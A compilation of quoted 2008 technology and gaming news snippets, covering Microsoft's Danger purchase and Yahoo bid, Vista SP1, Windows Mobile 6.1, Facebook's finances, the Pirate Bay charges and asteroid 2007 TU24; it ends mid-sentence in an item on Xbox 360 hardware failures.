“Microsoft is a global leader with our Windows Mobile software and expanding mobile services,” said Robbie Bach, president of the Entertainment and Devices Division at Microsoft. “The addition of Danger serves as a perfect complement to our existing software and services, and also strengthens our dedication to improving mobile experiences centered around individuals and what they like.”

Microsoft intends to combine Danger’s applications, including HTML Web browsing, instant messaging, games, multimedia, social networking, and Web email into Xbox, as well as MSN, Zune, Windows Live, and Windows Mobile.

Danger’s broad software portfolio also provides the opportunity to play lightweight Xbox games in future versions, according to Dan Frommer from Forbes.

“Another plus: Because Danger doesn’t build its own gadgets, Microsoft can pick the manufacturing strategy that makes the most sense,” Frommer said. “For now, it can keep outsourcing devices to partners like Motorola, which also makes Windows Mobile phones. And later, if it wants, Microsoft can merge Danger’s gadgets into its Zune line -- or use it as the basis for a portable Xbox that also makes phone calls.”
[/QUOTE]

Source: gamerush.zoomshare.com

[QUOTE]
Yahoo has formally rejected Microsoft's USD 44.6 billion takeover bid.

In a statement, Yahoo said that its board "unanimously concluded that the proposal is not in the best interests of Yahoo and our stockholders."

Yahoo also said that the offer substantially undervalues the company, failing to take into account its strong brand and global audience. "The board of directors is continually evaluating all of its strategic options in the context of the rapidly evolving industry environment and we remain committed to pursuing initiatives that maximize value for all stockholders," the statement read.
[/QUOTE]

Source: gamesindustry.biz

[QUOTE]

[...]
Q: What do you think about the regular hype about the release of a new version of Microsoft Windows or Apple OS X?

A: An o/s should never have been something that people (in general) really care about: it should be completely invisible and nobody should give a flying f*** about it except the technical people.

It's stupid - when you make a big deal about something like Vista or Leopard a lot of it is about things I don't consider to be the operating system. It's about the visual shell around it. The fact Microsoft tied the two together so much actually caused them problems, not just the legal problems. If you manage a thousand clients, or a hundred thousand

clients which is not at all unheard of, you sure as hell don't want to point and click at them. In many ways Microsoft has had to fix the design mistakes they made when they thought the graphical approach should be a very intimate part of (Windows).

To Microsoft and Apple the o/s is important as a way to control the whole environment, from a marketing and money-making standpoint, to force people to upgrade their applications, and your hardware.

Q. Do you have a favourite between Leopard and Vista?

A: I don't think they're equally flawed. I think Leopard is a much better system. On the other hand, (I've found) OS X in some ways is actually worse than Windows to program for. Their file system is complete and utter crap, which is scary. I think OS X is nicer than Windows in many ways, but neither can hold a candle to my own (Linux). It's a race to second

place!
[...]

[/QUOTE]

Source: http://www.smh.com.au/

[QUOTE]
One of the “big” features discussed in early speculation of Windows Vista SP1 was the kernel upgrade, which was supposed to bring the operating system into line with the Longhorn kernel used in Windows Server 2008. And yet with Vista SP1 going RTM, there hasn't been so much as a peep from Microsoft about the mooted kernel update. Has it happened?

Well the answer is yes it has, and presumably the main reason for Microsoft’s silence on the subject is that as they’re keen to promote the improvements and enhancements to Vista, rather than placing emphasis on a kernel upgrade, which some people might see as a risk of newly-introduced instability.

The whole thing is still quite interesting. You can tell what build of Windows you’re running by a variety of means:

• if you open a Command Window it will immediately tell you what version you have
• or go Start --> Run --> winver
• or check out the properties of C:\Windows\System32\NTOSKRNL
• or open Regedit and navigate to HKLM\Software\Microsoft\Windows NT\Current Version.

All these methods will give you an idea of what version and build of Windows you’re running, although the last two give more detailed information.

Build info - Vista SP1 RTM

Build info - Server 2008 RTM

The version and build information of Windows Vista SP1 and Windows Server 2008 (RTM) are exactly the same as each other. And yes, Vista's kernel has been replaced. Windows Vista pre-SP1 is Windows version 6.0 build 6000 (6.0.6000) whereas Windows Vista SP1 RTM is version 6.0 build 6001 (6.0.6001) – the same as Server 2008.

Don't ask me how I know what's in the RTM versions of Server 2008 and Vista SP1. (Zip it ... I said, don't ask me.)

Interestingly, if you do a winver on Server 2008, you’ll see that the version information is actually version 6.0 build 6001 Service Pack 1. No, it’s not Server 2008 Service Pack 1, but rather Service Pack 1 of the original Longhorn code (Windows 6.0).

So if you look at it one way, the Windows Vista “kernel upgrade” isn’t a fundamental update, but rather, an alignment of the two operating systems. In some ways, both can be said to be running Windows Vista SP1, which is interesting in a seriously geeky sort of way.

Windows Server 2008 WINVER

Still, makes you realise just how long SP1 code has been in the pipeline...
[/QUOTE]

Source: http://apcmag.com/

Related stories:

• LEAKED: Vista SP1 analysed in-depth

• Microsoft announces Vista SP1 RTM

• Don't wait for Vista SP1, pleads Microsoft

• Vista Service Pack 1 is coming

[QUOTE]
Hi, Mike Nash here from the Windows Product Management group at Microsoft.  Today we are excited to announce that we have released Service Pack 1 for Windows Vista to manufacturing (RTM) for our first set of languages (English, French, Spanish, German and Japanese).

Service Pack 1 is a very important milestone because it addresses many of the key issues that our customers have identified with Windows Vista over the last year both, directly and through programs like the Customer Experience Improvement Program.  With Service Pack 1, we have made great progress in performance, reliability and compatibility.  One of the great things about my job is that I get to play with the latest builds of our products -- I've personally been running Windows Vista SP1 pretty exclusively for a few months and I've noticed that my systems run faster and more reliably than they did with the "Gold" release of Windows Vista.

When we first released Windows Vista last year, there were lots of customers who had great experiences, but some had issues finding applications that worked well on Windows Vista; others had problems finding the right device drivers for some of the hardware devices that they used.  The reason for these issues is that in order to improve the reliability and security of Windows Vista, we made some important architectural changes to the system.  While this caused some issues in the short term, in the long term we know that these investments will improve both the reliability and security of the customer experience on Windows.  Check out this blog post about the first year of Windows Vista security to see how some of these changes are paying off.

The good news is that this last year has been a great year of progress for Windows Vista in terms of improving application and device compatibility.  For example, 98 out of the top-selling 100 applications have versions available for Windows Vista.  And through the great work of our hardware partners, we now have 78,000 devices and components supported by Windows Update, up from about 34,000 in November 2006.  As a result, we have licensed over 100 million copies of Windows Vista to date.

Service Pack 1 brings new improvements that are based on feedback we heard from our customers.  It further improves the reliability and performance of Windows Vista.  The information we collect thanks to tools like the Customer Experience Improvement Program, Online Crash Analysis, and Windows Error Reporting help us learn about where and when customers are having issues with Windows Vista and the applications that run on it.  Since these issues have a direct impact on our customers' experiences, we've invested time and energy to make this better.  While Windows Vista Service Pack 1 is an important milestone, we will continue to invest in the continuous improvement process.

SP1 also includes changes focused on improving the performance of Windows Vista in areas that impact the customer experience the most.  For instance, with SP1, copying or moving files around your PC, your home network or your corporate network should now be much faster -- up to 50% faster in some scenarios (according to our internal tests).  In addition, on many kinds of hardware, resuming a Windows Vista-based PC from sleep is faster on Service Pack 1.

The key learning over the last year is that when we change the operating system, it takes time to let the ecosystem make sure that the hardware and software that they build works well with Windows Vista.  So as we release Windows Vista SP1 to manufacturing, we are going to be thoughtful about when and how it gets distributed.

With today's RTM of SP1, a number of processes kick off as we deliver the update to customers.  Our OEM partners will get SP1 and start producing new PCs running Windows Vista with SP1 pre-installed.  We will also start the manufacturing process for retail product of Windows Vista with SP1.  Both will be available in stores for new Windows Vista customers in the coming months.  Today we also start the process to manufacture DVDs for our enterprise customers who get our software via our Volume Licensing program.

As we update our customers to SP1, we want everyone to have a great install experience.  We are going to stage our rollout of SP1 for current Windows Vista users to be approximately concurrent with the availability of Windows Vista SP1 on new PCs and in stores.  There are a couple of reasons for this.  Our beta testing identified an issue with a small set of device drivers.  These drivers do not follow our guidelines for driver installation and as a result, some beta participants who were using Windows Vista and updated to Service Pack 1 reported issues with these devices.  Because the issue was with the way the drivers were installed and not the drivers themselves, the solution was simply to reinstall the drivers.  While this worked fine for our more technical beta testers, we want to deliver a better experience for customers as we make the update broadly available.

While we know that most customers who update from Windows Vista to SP1 will NOT be affected, our approach is to improve the experience for all our customers.  To do this, we will begin making SP1 available through Windows Update in mid-March, giving us time to work with some of our hardware partners to make adjustments to the installation process for the affected drivers.  As SP1 gets delivered through Windows Update, we will only offer it to PCs that we detect don't have any of the affected device drivers installed.  We're taking the next month or so to continue our work of identifying as many of these devices as possible.

Here's the timing for SP1 availability for current Windows Vista users:

• In mid-March, we will release Windows Vista SP1 to Windows Update (in English, French, Spanish, German and Japanese) and to the download center on microsoft.com.  Customers who visit Windows Update can choose to install Service Pack 1.  If Windows Update determines that the system has one of the drivers we know to be problematic, then Windows Update will not offer SP1.  Since we know that some customers may want to update to SP1 anyhow, the download center will allow anyone who wants to install SP1 to do so.
• In mid-April, we will begin delivering Windows Vista SP1 to Windows Vista customers who have chosen to have updates downloaded automatically.  That said, any system that Windows Update determines has a driver known to not update successfully will not get SP1 automatically.  As updates for these drivers become available, they will be installed automatically by Windows Update, which will unblock these systems from getting Service Pack 1.  The result is that more and more systems will automatically get SP1, but only when we are confident they will have a good experience.
• The remaining languages will RTM in April.

New customers should feel great about buying Windows Vista today, knowing that when everything is ready, SP1 will be available to them via Windows Update.  In the meantime, remember that you can take advantage of the benefits of Windows Vista (including many improvements delivered via Windows Update) even without Service Pack 1.

This is an important milestone for our current and future Windows Vista customers around the world.  I want to take a minute to thank our customers for their feedback on Windows Vista and the beta of Service Pack 1.  I also want to thank our hardware and software partners for their continued efforts to deliver the best experiences on Windows Vista.

-Mike
[/QUOTE]

Source: http://windowsvistablog.com/

[QUOTE]
Windows Mobile 6.1 will be unveiled officially in about 2 weeks at Mobile World Congress 2008 (watch our first-hand reports from there!) but already now somebody has managed to play with it!

Here are the highlights:

• Office Mobile now includes also One Note Mobile application - apart from Word Mobile, Excel Mobile and PowerPoint Mobile, one new application is available - it can record voice notes and drawings and textual notes
• Internet Explorer now has function "Zoom Out" what enables page-overview mode and better overall navigation through web pages
• Windows Mobile 6.1 still is based on Windows CE 5.2 so no upgrade to Windows CE 6.0
• SMS chat view mode is available so SMS messages can appear in threaded-way - more comfortable to follow SMS conversations
• instead of "Settings / Memory / Running Programs" now a Task Manager is available with possibility to set settings of executed threads/processes like CPU (indication of dual-core Windows Mobile devices?) and memory
• new menu item "Managed Programs"
• the much expected improvements in usage for finger based navigation - are nowhere to be found! (apparently users will need to wait till 2009 for Windows Mobile 7 to get them)

To learn more visit Windows Mobile 6.1 Professional review (in Portuguese but several screenshots are in English and worth seeing).
[/QUOTE]

Source: http://msmobiles.com/

[QUOTE]
[...]
"It's about time. Great for Microsoft. Great for Yahoo shareholders. These Internet markets are winner-take-all markets and they cannot be built. Time is too valuable. Yahoo has one of the best positions on the Internet because it's integrated brand (advertising) with search.
[...]
"They have to do it because they've tried everything they can do to fix MSN. Yahoo is the most visited site in the world, so it goes without saying that given the current valuation, this is the perfect time for them to buy it. "Google is running away with the search market and that's obviously the best part of the market. The likelihood that Google gets caught is slim to none. "You might not catch Google, but you can still be a legitimate player."
[...]
"We think it is great for Yahoo shareholders. This consolidates the marketplace down to Google versus Microsoft. Their multiple areas overlap -- not just search but also applications. Google's been pushing hard into the application space. "Yahoo mail continues to be much slower than the Gmail product. Yahoo search continues to lose share to Google. Asked whether Google might counterbid for Yahoo he said, "There is really nothing there that Google wants that they (Google) don't have."
[...]
"Microsoft has been getting more aggressive with acquisitions. We've seen them start to step up and buy large public players. Strategically, it makes sense. "It's a fair price. Clearly Yahoo shares have been under pressure. Microsoft wants to get it done, and get it done quickly. Trying to offer them a 10 percent premium would be kind of foolish. You'd create a problem, you'd let other bidders get into the fray.
[...]
[/QUOTE]

More on: http://www.reuters.com/

[QUOTE]
The openness of the Internet is what made Google -- and Yahoo! -- possible. A good idea that users find useful spreads quickly. Businesses can be created around the idea. Users benefit from constant innovation. It's what makes the Internet such an exciting place.

So Microsoft's hostile bid for Yahoo! raises troubling questions. This is about more than simply a financial transaction, one company taking over another. It's about preserving the underlying principles of the Internet: openness and innovation.

Could Microsoft now attempt to exert the same sort of inappropriate and illegal influence over the Internet that it did with the PC? While the Internet rewards competitive innovation, Microsoft has frequently sought to establish proprietary monopolies -- and then leverage its dominance into new, adjacent markets.

Could the acquisition of Yahoo! allow Microsoft -- despite its legacy of serious legal and regulatory offenses -- to extend unfair practices from browsers and operating systems to the Internet? In addition, Microsoft plus Yahoo! equals an overwhelming share of instant messaging and web email accounts. And between them, the two companies operate the two most heavily trafficked portals on the Internet. Could a combination of the two take advantage of a PC software monopoly to unfairly limit the ability of consumers to freely access competitors' email, IM, and web-based services? Policymakers around the world need to ask these questions -- and consumers deserve satisfying answers.

This hostile bid was announced on Friday, so there is plenty of time for these questions to be thoroughly addressed. We take Internet openness, choice and innovation seriously. They are the core of our culture. We believe that the interests of Internet users come first -- and should come first -- as the merits of this proposed acquisition are examined and alternatives explored.
[/QUOTE]

Source: http://googleblog.blogspot.com/

The game will be using "Digital Molecular Matter" developed by Pixelux Entertainment for dynamically destructible objects, Havok for rigid body physics, and a graphics engine developed by LucasArts in conjunction with Industrial Light & Magic and Euphoria developed by NaturalMotion. Pre-visualization demonstrations were shown at the LucasArts booth at E3 2006.

The game takes place between Star Wars Episode III: Revenge of the Sith and Star Wars Episode IV: A New Hope and, according to Steve Sansweet, "has some incredible revelations." The player assumes the role of "Darth Vader's secret apprentice". The player is sent across the galaxy to destroy the remaining Jedi. The story is both a continuation of the prequel trilogy - exploring the aftermath of Emperor Palpatine's order to exterminate the Jedi and focusing on the continued evolution of Darth Vader - and a direct bridge between the original films.

Official Website: www.lucasarts.com/games/theforceunleashed

[QUOTE]
BioShock Takes Top Honors as Game of the Year. The full list of the 2007 Game Critics Awards: Game of the Year winners is now posted on the Game Critics Awards website. You can see the full list of winners at http://www.gamecriticsawards.com/goty.html.

Top 10 Games of 2007:

1. BioShock
2. The Orange Box
3. Call of Duty 4: Modern Warfare
4. Rock Band
5. Super Mario Galaxy
6. Halo 3
7. Mass Effect
8. God of War II
9. Assassin's Creed
10. Uncharted: Drake's Fortune

Game of the Year breakdown by platform:

1. Xbox 360: 7
2. PlayStation 3: 5
3. PC: 3
4. Wii:  1
5. PlayStation 2: 1

Game of the Year breakdown by publisher:

1. Microsoft Game Studios: 2
2. Sony Computer Entertainment: 2
3. EAP (Valve, MTV Games/Harmonix): 2
4. 2K Games: 1
5. Activision: 1
6. Nintendo: 1
7. Ubisoft: 1

[/QUOTE]

Full Story: majornelson.com

[QUOTE]
Microsoft Corporation has announced that it has made a proposal to acquire Yahoo! for approximately USD 44.6 billion. The offer of USD 31 per share represents a 62 per cent premium over the stocks's January 31 closing price.

"We have great respect for Yahoo!, and together we can offer an increasingly exciting set of solutions for consumers, publishers and advertisers while becoming better positioned to compete in the online services market," said Microsoft CEO Steve Ballmer.

If the deal was accepted by Yahoo! and approved by regulatory agencies, it would be completed in the second half of calendar year 2008.
[/QUOTE]

Full Story: gamesindustry.biz

[QUOTE]
Want to know about how privately held Facebook is doing from a financial point of view?

Well, just ask Mark Zuckerberg!

This afternoon, at an all-hands meeting held in a Palo Alto, Ca. theater near the social networking site’s headquarters, the 23-year-old founder was quite voluble on that topic, outlining numbers that a more experienced CEO might think twice about unveiling to a large audience.

With an open dial-in number! Many employees, in fact, were horrified that Zuckerberg would be so blabby about such important financial information. Others loved it.

Most were simply surprised (although, to be fair, Google Co-Founders Larry Page and Sergey Brin used to give a lot of detailed company info to their employees before going public, but in coordination with other execs).

“I can’t believe he was doing it,” said one. “It was really unbelievable.”

Believe it! Some highlights?

Revenue for Facebook for 2007 will be $150 million, as has been widely reported. But for 2008, Zuckerberg projected revenue to be increased to $300 to $350 million.

More interesting was the news that Facebook would spend $200 million next year on capital expenditures, which is a whole lot of servers.

By the way, more expenses, noted chatty Mark, those employee levels would rise to more than 1,000 in 2008 from 450 now.

And Zuckerberg also said the company’s EBITDA–earnings before interest, taxes, depreciation and amortization and a number widely used by Wall Street as an indication of operating performance–would be $50 million in 2008.

That means, the company would have a negative cash flow of about $150 million (EBITDA minus CapEx), rather than break even, as it does now.

But who’s counting? Zuckerberg apparently said he did not care about maintaining EBITDA anyway.

That’s because Facebook collected $300 million in investments recently from Microsoft and other investors, which pegged the valuation of the company at $15 billion.
[/QUTOE]

Source: http://kara.allthingsd.com/

[QUOTE]
Sweden plans this week to charge the people running Pirate Bay, one of the world's most visited websites, with being accessories in breaking copyright law.

Pirate Bay helps web surfers share copyrighted music and film files, which is illegal in many countries, including Sweden.

Public prosecutor Hakan Roswall said last week he will charge the Swedish site's organisers with accessory and conspiracy to break copyright law, which could lead to fines or up to two years in prison.

The charges will be filed in a district court on January 31.

The Motion Picture Association of America and the International Federation of the Phonographic Industry (IFPI) are among those who have called for action to shut down the site.

No copyright material is stored on Pirate Bay's servers and no swapping of files actually takes place there. Rather, Pirate Bay locates file sharers on the Internet and acts as a directory of so-called torrent files.

BitTorrent is a protocol that enables big file transfers. The torrent files, downloadable from Pirate Bay, contain the information needed to download film or music files from others.

"It's not merely a search engine. It's an active part of an action that aims at, and also leads to, making copyright protected material available," Roswall told Reuters.

"It's a classic example of accessory - to act as intermediary between people who commit crimes, whether it's in the physical or the virtual world," he said.

But the people behind the site say they cannot be held responsible for material that is being spread.

"It's idiotic. There is no legal ground (for the charges)," Pirate Bay spokesman Peter Sunde told Reuters.

The case is partly based on evidence collected in a 2006 raid against Pirate Bay's servers, located then in Stockholm.

Pirate Bay was started by a Swedish anti-copyright group in 2003. Later the site was run by Sunde and two others, Gottfrid Svartholm and Fredrik Neij. Neij owns the domain.

It does not charge users and earns money from advertisers.

Roswall said it could take more than convictions in Sweden to stop Pirate Bay. "Because the infrastructure is scattered among several places around the world... no separate country will be able to stop the site," he said.

But he believes advertisers could have second thoughts about using Pirate Bay if a guilty verdict is handed down. "That can be the sort of thing that influences the site in the long run."

Sunde said there were no plans to shut down the site in the event of a conviction. He said he, Svartholm and Neij were unaware of the location of Pirate Bay's current servers.

He said Pirate Bay had 2.5 million registered members and about as many visit the site every day.

In 2007, some 600,000 out of nine million Swedes downloaded feature films, according to Mediavision. The Swedish research firm expects the number to rise to some 800,000 this year.

IFPI estimates there are 20 illegal music downloads worldwide for every one legal sale, IFPI spokesman Alex Jacob said.
[/QUOTE]

Source: Reuters, http://www.smh.com.au/

[QUOTE]
Microsoft released yet more test builds of both Windows XP Service Pack (SP) 3 and Windows Vista SP1 this week.

Microsoft made the newest test build of XP SP3, which it is calling XP SP3 Release Candidate (RC) Refresh 2, available to 15,000 testers on January 23, Microsoft officials said. It also released a new refresh of its Vista SP1 build, known as Vista SP1 RC Refresh 2, to the same 15,000 testers on January 24, execs said.

Microsoft made both builds available via its private Connect test site.

Microsoft released privately and then publicly an RC test build of Vista SP1 just a couple of weeks ago. The company released a public RC test build of XP SP3 in December 2007.

Microsoft has said the final version of Windows Vista SP1 is due to ship in the first quarter of 2008, and the final XP SP3 some time in the first half of this year. Microsoft has been delivering both private and public test builds of both service packs on a regular basis over the past few months.

The test group for both service packs includes “corporate customers, consumer enthusiasts, software and hardware vendors, and others,” Microsoft reiterated. However, neither of these new builds are available for public download — at least not right now.

Earlier this week, there were some reports floating claiming that Microsoft is planning to deliver the final Vista SP1 bits on February 15. I hear the delivery date might be sooner than that and could even sync up with the release to manufacturing (RTM) of Windows Server 2008, which sources say is could happen in the first week of February. Guess we’ll see soon….
Microsoft officials reiterated during the company’s Q2 FY 2008 earnings call on January 24 that the first Vista SP, a release awaited by many business users before they will deploy the latest Windows release, is on track for delivery in the first quarter of 2008.

So if you’re one of the chosen 15,000 testers, there are new SPs out there with your names on them. Any of you seeing any showstoppers in either Vista SP1 or XP SP3, at this point?
[/QUOTE]

Found on: http://blogs.zdnet.com/

[QUOTE]
Asteroid 2007 TU24, discovered by the Catalina Sky Survey on October 11, 2007 will closely approach the Earth to within 1.4 lunar distances (334,000 miles) on 2008 Jan. 29 08:33 UT. This object, between 150 and 600 meters in diameter, will reach an approximate apparent magnitude 10.3 on Jan. 29-30 before quickly becoming fainter as it moves further from Earth. For a brief time the asteroid will be observable in dark and clear skies with amateur telescopes of 3 inch apertures or larger.

For an interactive illustration of this object's orbit see:

http://ssd.jpl.nasa.gov/sbdb.cgi?sstr=2007+TU24&orb=1

The illustration below is courtesy of amateur astronomer Dr. Dale Ireland from Silverdale, WA. The illustration shows the asteroid's track on the sky for 3 days near the time of the close Earth approach as seen from the city of Philadelphia. Since the object's parallax will be a significant fraction of a degree, observers are encouraged to use our on-line Horizons ephemeris generation service for their specific locations. These personalized ephemeris tables can be generated at: http://ssd.jpl.nasa.gov/horizons.cgi?find_body=1&body_group=sb&sstr=2007%20TU24

Given the estimated number of near-Earth asteroids of this size (about 7,000 discovered and undiscovered objects), an object of this size would be expected to pass this close to Earth, on average, about every 5 years or so. The average interval between actual Earth impacts for an object of this size would be about 37,000 years. For the January 29th encounter, near Earth asteroid 2007 TU24 has no chance of hitting, or affecting, Earth.

2007 TU24 will be the closest currently known approach by a potentially hazardous asteroid of this size or larger until 2027. Plans have been made for the Goldstone planetary radar to observe this object Jan 23-24 and for the Arecibo radar to observe it Jan 27-28 and then Feb 1-4. High resolution radar imaging is expected, which may permit later 3-D shape reconstruction.
[/QUOTE]

Source: http://neo.jpl.nasa.gov/news/

[QUOTE]
Since it's launch in Fall of 2005 Xbox 360 systems all over the world have had major hardware failure problems resulting in millions of costumers having to mail their Xbox back to Microsoft. No one really knows what has been causing these problems since the official lines never divulged the specific problems or rates of failure. All a person has to do is to press the power button on their Xbox 360 and there is a chance that it will just up and fail to boot up and shine the "Red Rings of Death". Microsoft decided to extend the warrantee for the Xbox 360 but